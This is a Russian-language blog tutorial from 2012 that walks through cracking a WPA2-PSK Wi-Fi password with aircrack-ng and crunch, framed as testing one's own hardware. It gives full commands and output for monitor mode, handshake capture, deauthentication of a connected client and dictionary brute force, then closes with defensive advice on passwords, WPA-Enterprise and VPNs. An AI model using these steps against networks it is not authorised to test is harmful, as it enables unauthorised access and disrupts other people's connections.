воскресенье, 23 сентября 2012 г.

WEP/WPA/WPA2 - Тестируем на стойкость к проникновению своё оборудование

Aircrack-ng










Эта статья написана исключительно в обучающих целях, и её можно использовать для проверки устойчивости ко взлому только своего оборудования.

В наше время технология Wi-Fi стала очень распространена, в каждом жилом доме или офисе можно поймать 3 и более wi-fi сетей. Я уверен, что у вас тоже имеется несколько домашних или рабочих wi-fi точек. И все знают, или хотя бы слышали о том, что wi-fi уязвим, но насколько, и как проверить насколько уязвима ваша личная точка никто толком не знает. Чем собственно и пользуются недоброжелатели и охотники до халявы.

В данной статье мы рассмотрим атаку на самый распространённый протокол безопасности WPA2(он же является самым надёжным на данный момент), и самый распространённый тип атаки - перебор по словарю(brute force).
Для этого в режиме мониторинга беспроводной карты сканируется эфир и записываются необходимые пакеты. Далее проводится деавторизация клиента для захвата начального обмена пакетами (handshake), либо нужно ждать пока клиент совершит подключение. После этого уже нет необходимости находиться недалеко от атакуемой точки доступа. Атака проводится оффлайн с помощью специальной программы и файла с хэндшейком.(Wikipedia)



В качестве атакующего ноутбука я использую Lenovo G770 с Wi-Fi адаптером Atheros AR9285, драйвер ath9k операционной системой GNU/Linux Debian squeeze x86_64 с подключенным репозитарием squeeze-backports. В принципе подойдёт любой Debian/Ubuntu, главное чтобы был рабочий Wi-Fi драйвер.

Для сбора трафика и анализа файла с хэндшейком нам потребуется aircrack-ng, для генерации word list нам потребуется crunch.  

Итак, приступим.

Установим всё необходимое для сборки пакетов

apt-get update
apt-get install build-essential libssl-dev libsqlite-dev -y

Приступим к установке aircrack-ng

wget -O aircrack-ng-1.1.tar.gz http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
tar xfv aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1/
make 
make install
airodump-ng-oui-update
Теперь поставим crunch
wget -O crunch-3.2.tgz "http://downloads.sourceforge.net/project/crunch-wordlist\
/crunch-wordlist/crunch-3.2.tgz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcrunch-\
wordlist%2Ffiles%2Fcrunch-wordlist%2F&ts=1341152956&use_mirror=citylan"
tar xfv crunch-3.2.tgz 
cd crunch3.2/
make
make install
ln -s /pentest/passwords/crunch/crunch /usr/sbin/

Платформу мы подготовили, приступим к атаке.

Запустим airmon-ng в режиме мониторинга вашей Wi-Fi карты.
airmon-ng start wlan0


Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e 
PID    Name
1739    NetworkManager
1749    wpa_supplicant
1986    avahi-daemon
1987    avahi-daemon
Process with PID 3000 (dhclient) is running on interface wlan0


Interface    Chipset        Driver

wlan0        Atheros     ath9k - [phy0]SIOCSIFFLAGS: Name not unique on network

                (monitor mode enabled on mon0)
Если вы получили сообщение подобное тому, что я выделил курсивом, значит вам нужно остановить перечисленные там сервисы и запущенные программы, которые используют интерфейс wlan0.
В моём случае это будет выглядеть следующим образом:
/etc/init.d/network-manager stop
/etc/init.d/avahi-daemon stop
killall wpa_supplicant -9
При первом неудачном запуске у нас создался интерфейс mon0, который для удобства лучше удалить.
airmon-ng stop wlan0 
airmon-ng stop mon0
Для поставленной задачи нам понадобится 3 терминальных окна с правами доступа ROOT.

# Terminal 1
Создадим интерфейс mon0 для сканирования сети
airmon-ng start wlan0

 Interface      Chipset         Driver  

 wlan0          Atheros         ath9k - [phy0]
                        (monitor mode enabled on mon0)
Приступим к сканированию. Сейчас нас интересуют сети у которых есть клиент, в данном случае моя собственная AP с ESSID home-privat. Для следующего шага нам нужно записать BSSID(это мак адрес AP) и CH(это сокращение channel). Я их выделил жирным шрифтом.  
airodump-ng mon0

 CH  6 ][ Elapsed: 16 s ][ 2012-09-23 11:07

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:21:91:7E:C9:C7  -39       36        7    0   6  54 . WPA2 TKIP   PSK  home-privat
 00:24:01:24:5A:21  -73       19        0    0   1  54e. WPA2 CCMP   PSK  SKYNET
 54:E6:FC:9B:77:30  -79       30        0    0   6  54 . WPA2 CCMP   PSK  TP-LINK

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

 (not associated)   00:15:AF:82:D8:37  -84    0 - 1     11        3  SKYNET
 (not associated)   00:1D:D9:15:A3:BD  -87    0 - 1      7        8
 00:21:91:7E:C9:C7  D4:20:6D:09:96:36  -58   18 - 1     79       45  home-privat
# Terminal 2
Теперь, когда мы слушаем весь трафик,  нам нужно выделить и сохранить в файл handshake запрос, чтобы потом с помощью брутфорса подобрать пароль.
Составим команду из известных нам данных:
  • -c 6 :указываем что airodump-ng должен слушать 6-ой канал
  • --bssid 00:21:91:7E:C9:C7 :указываем что airodump-ng должен принимать трафик, предназначенный для Access Point с маком 00:21:91:7E:C9:C7
  • mon0 :указываем, что airodump-ng должен использовать интерфейс mon0
  • -w ./target-wifi
     :указываем, что airodump-ng должен записывать свои файлы в текущую директорию по маске 
    target-wifi
airodump-ng -c 6 --bssid 00:21:91:7E:C9:C7 mon0 -w ./target-wifi

 CH  6 ][ Elapsed: 12 s ][ 2012-09-23 11:09

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:21:91:7E:C9:C7  -31 100      125       26    2   6  54 . WPA2 TKIP   PSK  home-privat

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

 00:21:91:7E:C9:C7  D4:20:6D:09:96:36  -60   24 - 1     55       39
# Terminal 3
Настало время прикинуться клиентом и сказать AP, что клиент разрывает соединение, после чего AP закроет соединение со своей стороны. Соответственно разрыв соединения станет неожиданностью для клиентского устройства, оно сочтет этот разрыв простым сбоем и попытается подключиться снова послав handshake запрос, который будет перехвачен и записан в файл home-privat-01.cap процессом,  который в данный момент выполняется в Terminal 2.

Для этого нам понадобятся BSSID(mac адрес AP) STATION(mac адрес клиента, подключенного к AP).

Составим команду из известных нам данных:
  • -0 10
     
    :указываем количество посылаемых сообщений о разрыве
  • -a 00:21:91:7E:C9:C7 :указываем BSSID
  • -c D4:20:6D:09:96:36
     
    :указываем STATION
  • mon0 :указываем интерфейс
aireplay-ng -0 10 -a 00:21:91:7E:C9:C7 -c D4:20:6D:09:96:36 mon0
 11:15:58  Waiting for beacon frame (BSSID: 00:21:91:7E:C9:C7) on channel 6
 11:15:59  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [42|64 ACKs]
 11:15:59  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [49|66 ACKs]
 11:16:00  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [18|64 ACKs]
 11:16:00  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [30|66 ACKs]
 11:16:01  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [ 5|64 ACKs]
 11:16:01  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [71|65 ACKs]
 11:16:02  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [21|63 ACKs]
 11:16:02  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [67|65 ACKs]
 11:16:03  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [20|66 ACKs]
 11:16:03  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [ 6|64 ACKs]

Если вы получили сообщение следующего содержания, то вам следует пересобрать compat-wireless для вашей системы, как это написано тут.
20:06:34  Waiting for beacon frame (BSSID: 00:21:91:7E:C9:C7) on channel -1
20:06:34  mon0 is on channel -1, but the AP uses channel 6
# Brute-force
Как было написано выше, для перебора паролей мы будем использовать программу crunch (мы её установили в начале статьи).
Давайте рассмотрим параметры запуска:

  • /pentest/passwords/crunch/crunch :Указываем путь до самого Crunch
  • 1 8 :Указываем диапазон длинны пароля от 1-го до 8им символов 
  • -f /pentest/passwords/crunch/charset.lst : Читаем файл в котором описаны возможные списки символов для составления паролей(загляните в него, чтобы выбрать нужный)
  • lalpha :Указываем, что мы будем перебирать пароли только из букв в нижнем регистре
  • | aircrack-ng :Передаем список паролей программе aircrack-ng 
  • ./target-wifi-01.cap  :Читаем файл в который мы записали handshake 
  • -e home-privat :Указываем ESSID
  • -w - :Читаем wordlist из стандартного потока ввода 
Перебирать пароли можно в несколько потоков, в том числе и на разных машинах. Соответственно на них так же должен быть установлен aircrack-ng и crunch. Имеет смысл поиграть с разной длинной пароля, попробовать букво-циферные комбинации в высоком и нижнем регистре. Все возможные комбинации перечислены в файле /pentest/passwords/crunch/charset.lst

/pentest/passwords/crunch/crunch 1 8\
 -f /pentest/passwords/crunch/charset.lst lalpha\
 | aircrack-ng ./target-wifi-01.cap -e home-privat -w -
После запуска брутфорса вы увидите следующее окно с меняющимся значением в поле Current passphrase. Когда перебор будет завершен, вы найдете там пароль от целевой системы. 
Aircrack-ng 1.1
275280 keys tested (1278.70 k/s) Current passphrase: password Master Key : 83 1B 20 A8 06 7F 5E 32 1F 4A C7 84 23 C1 BA 78 E1 8E B2 C1 C8 0E 07 8F 99 21 28 75 21 4E 93 E4 Transient Key : D5 0D 28 DF BB 76 8B 2E 4B 09 F0 E9 73 76 1C 5A 95 AF 6A D2 BA 77 9F DD 7B 18 99 E7 A3 15 D6 8D 1A 47 CB A4 98 C5 B9 93 32 09 0C E2 73 54 74 86 D4 CB F3 A6 4D F3 6F FE 75 6F FC 6F EB 40 50 DD EAPOL HMAC : 9D 5E 31 AA FD 03 69 61 41 94 9C 08 B1 C0 60 7F

Теперь по скорости, в поле keys tested: указана скорость, с которой идет перебор вы можете рассчитать сколько потребуется времени для подбора вашего пароля на ресурсе http://lastbit.com/pswcalc.asp. Например пароль из 8-ми знаков в нижнем регистре будет подбираться около 6-ти лет =))

а пароль из 8ми символов в обоих регистрах + цифры будет подбираться 5490 лет



Вывод: для обеспечения более высокой стойкости сети вам необходимо использовать длинные пароли в верхнем и нижнем регистре. Так же, чтобы оградиться от атак по словарю, стоит испрользовать WPA-Enterprise, для защиты которого используется Extensible Authentication Protocol (EAP) В этом случае аутоинтоксикация будет происходить при помощи RADIUS сервера.

Так же не стоит забывать про уязвимость Hole196. Если при использовании WPA/WPA-Enterprise один паролей был скомпрометирован, то есть вероятность перехвата данных. Для избежания утечки информации используйте OpenVPN туннель поверх Wi-Fi
Enhanced by Zemanta